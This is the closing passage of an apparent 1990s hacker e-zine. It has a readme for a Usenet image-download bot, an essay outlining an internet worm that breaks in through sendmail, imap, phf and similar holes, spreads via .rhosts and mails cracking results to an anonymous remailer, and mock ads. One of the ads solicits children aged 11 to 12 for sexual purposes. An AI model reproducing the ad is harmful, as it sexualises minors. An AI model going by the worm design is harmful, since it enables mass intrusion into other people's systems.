  2354. my "copyright" :) 
  2355.  
  2356. You can access a few of my things at ftp.janova.org (in pub) or
  2357. www.janova.org. 
  2358.  
  2359.                     Shok
  2360.             (--==+*~Shok~*+==--)
  2361.  
  2362. Email: shok@sekurity.org
  2363.  
  2364. ───────────────────────────────────────────────────────────────────────────────
  2365.   3. PornBot : TFreak
  2366. ───────────────────────────────────────────────────────────────────────────────
  2367.  
  2368. Pornbot v1.0 by TFreak [08/18/97]
  2369.  
  2370. Overview
  2371. --------
  2372. Pornbot is a config file driven all purpose newsbot for UNIX.  It scans the 
  2373. newsgroups found in the config file (pornbot.conf) for encoded binaries and 
  2374. saves the decoded image to disk.  
  2375.  
  2376. Getting Started
  2377. ---------------
  2378.  
  2379. 1)  Edit the UUDECODEPATH variable on line 24 of the source file to point to  
  2380.     its location on your system.  If you don't have one, a Linux binary is 
  2381.     included with this release. (however, we rm'd the zgv with this release,
  2382.     becuase its too fucking big, so copy zgv to the pornbot dir -- so1o)
  2383.  
  2384. 2)  Edit the pornbot.conf file.  The first entry is an NNTP server to which
  2385.     you have read permission on.  The remaining lines are newsgroups in which
  2386.     you want pornbot to scan.  The config file is terminated with a $ on a 
  2387.     blank line.  ``#'' comments out a line, and blank lines are ignored.
  2388.  
  2389.     NOTE:  For memory conservation purposes, the MAXNEWSGROUPS variable is
  2390.            included.  If you plan on scanning a lot of newsgroups, up this
  2391.            number (default is 15 newsgroups).  If you have more newsgroups
  2392.            than whats compiled in, anything after that max will be ignored.
  2393.  
  2394. 3)  Compile your binary.  
  2395.     
  2396.     cc -o pornbot pornbot.c
  2397.  
  2398.     This should compile fine.  Tested on Linux and FreeBSD.
  2399.  
  2400.  
  2401. After this your ready to start downloading!
  2402.  
  2403. -tf
  2404.  
  2405. ───────────────────────────────────────────────────────────────────────────────
  2406. 4. Crypto Worm (philsophy)
  2407. ───────────────────────────────────────────────────────────────────────────────
  2408.  
  2409.                      Worm for Crypto! (philosophy)
  2410.                      -----------------------------
  2411.                                   By:
  2412.                           --==+(*Shok*)+==--
  2413.  
  2414. Well that may of gotten your attention :) Something I realized
  2415. when going through some crypto related articles. Consider the
  2416. following.....you want to crack rsa, but you know that the MIPS years
  2417. required is far too great. Well what if you were, to write an internet
  2418. worm, that would exploit system holes, like sendmail, imap, popd, httpd
  2419. (brute force), phf, any thing it could to get into the system, and once it
  2420. was in, it ran a program for cryptographic related purposes. You could use
  2421. this to crack a key or an encryption standard like RSA. It could then mail
  2422. it's output to an anonymous server or a news group or somewhere to obtain
  2423. your anonymity. But this way, you could be using machines all over the
  2424. world to crack something. Now this article is more of a philsopy than
  2425. anything, I am just explain this. But think about it.....it could be
  2426. useful eh? Here is what it could do:
  2427.  
  2428. 1.) You could use something like srand() with the date as a seed (or
  2429.     just take the code out of an ip scanner, eipscan for example, is a
  2430.     nice one), and have it find hosts that way. Also you could use a dns
  2431.     scanner at the same time.......no matter however you want to go about
  2432.     it.
  2433. 2.) Try to exploit this host while still scanning for more hosts in the
  2434.     parent.
  2435. 2.) Exploit (get into) the host. 
  2436. 3.) Get information from /etc/hosts, .rhosts, etc. and repeat step two on
  2437.     those hosts (fork another process).
  2438. 4.) Have your program, output to a file your code for cracking, and
  2439.     compile that on the system (you chould put this in the code of the
  2440.     worm but I don't think it would be as neat...it'd be too messy.
  2441. 5.) After running mail the results to something like anon.pinet.fi (or
  2442.     whatever it was...) you get the idea. 
  2443.  
  2444. You might want it to only mail if certain conditions occur such as
  2445. it cracks it or anything. You'd also want to randomly try to crack the
  2446. key, and not a sequence, because otherwise, you'd be the whole point, and all
  2447. the hosts would be doing the same thing, so all you'd need is the quickest one,
  2448. and you certainly don't want that! :)
  2449.  
  2450. This is just a philosopy I'm not including any code on this one....too
  2451. much code and not enough time ;)
  2452.     
  2453.                           --==+*~(Shok)~*+==--
  2454.  
  2455. ───────────────────────────────────────────────────────────────────────────────
  2456. ===============================================================================
  2457. ==[ FIN ]======================[ .SECTION G. ]========================[ FIN ]==
  2458. ===============================================================================
  2459. ───────────────────────────────────────────────────────────────────────────────
  2460. --------------------------------------+---------------------------------------
  2461.                                       |
  2462.            YOUR SPECIAL AD            |            LET'S BE FREE
  2463.                                       |
  2464.        COULD BE RIGHT HERE #@!        |    Gay White Male 38, 5'11" looking
  2465.                                       |    for men, 12 - 32 clean, fit, and
  2466.        SEND ELECTRONIC MAIL TO:       |    hairy. Discreet Encounters.
  2467.            ADZ@CODEZ.COM              |    Call Anytime : (816)781-8009
  2468.                                       |                   (Ask for Tommy)
  2469.                                       |
  2470. --------------------------------------+---------------------------------------
  2471.                                       |
  2472.         ARE YOU 11 OR 12 ???          |      FREE FONESEX! CALL ME NOW!@
  2473.                                       |
  2474.  Looking for men 11 - 12 for adult    |    Yeah huney, you know you want me,
  2475.  video satisfaction. I am 35 into     |    I'll treat you just right, I'm
  2476.  Professional wrestling.              |    waiting for your call today!
  2477.  Let's talk soon : (816)453-8722      |    CALL ME NOW!@# : (847)546-9154
  2478.                                       |                     (Ask for Kim)
  2479. --------------------------------------+---------------------------------------
  2480. ───────────────────────────────────────────────────────────────────────────────
  2481.                             .oO Team CodeZero Oo.
  2482. ───────────────────────────────────────────────────────────────────────────────
  2483.  
  2484.                       _   /|  k0dekat sez...
  2485.                       \'o O'                            
  2486.                       =(_o_)=   "EyEm HuNGaRy FoR SKiLLz,
  2487.                         U               nOt CaTf00d!!#@"
  2488.  
  2489.  
  2490. ───────────────────────────────────────────────────────────────────────────────
  2491.           Remember, McDonalds Owns You, And Ronald Is The KinG!!!
  2492.          Wendy Is Satan!! Don't Believe The Lies!! PHEAR WENDY!@#*
  2493. ───────────────────────────────────────────────────────────────────────────────
  2494.  
  2495.  
  2496.  
  2497. <-- line 2500.
  2498.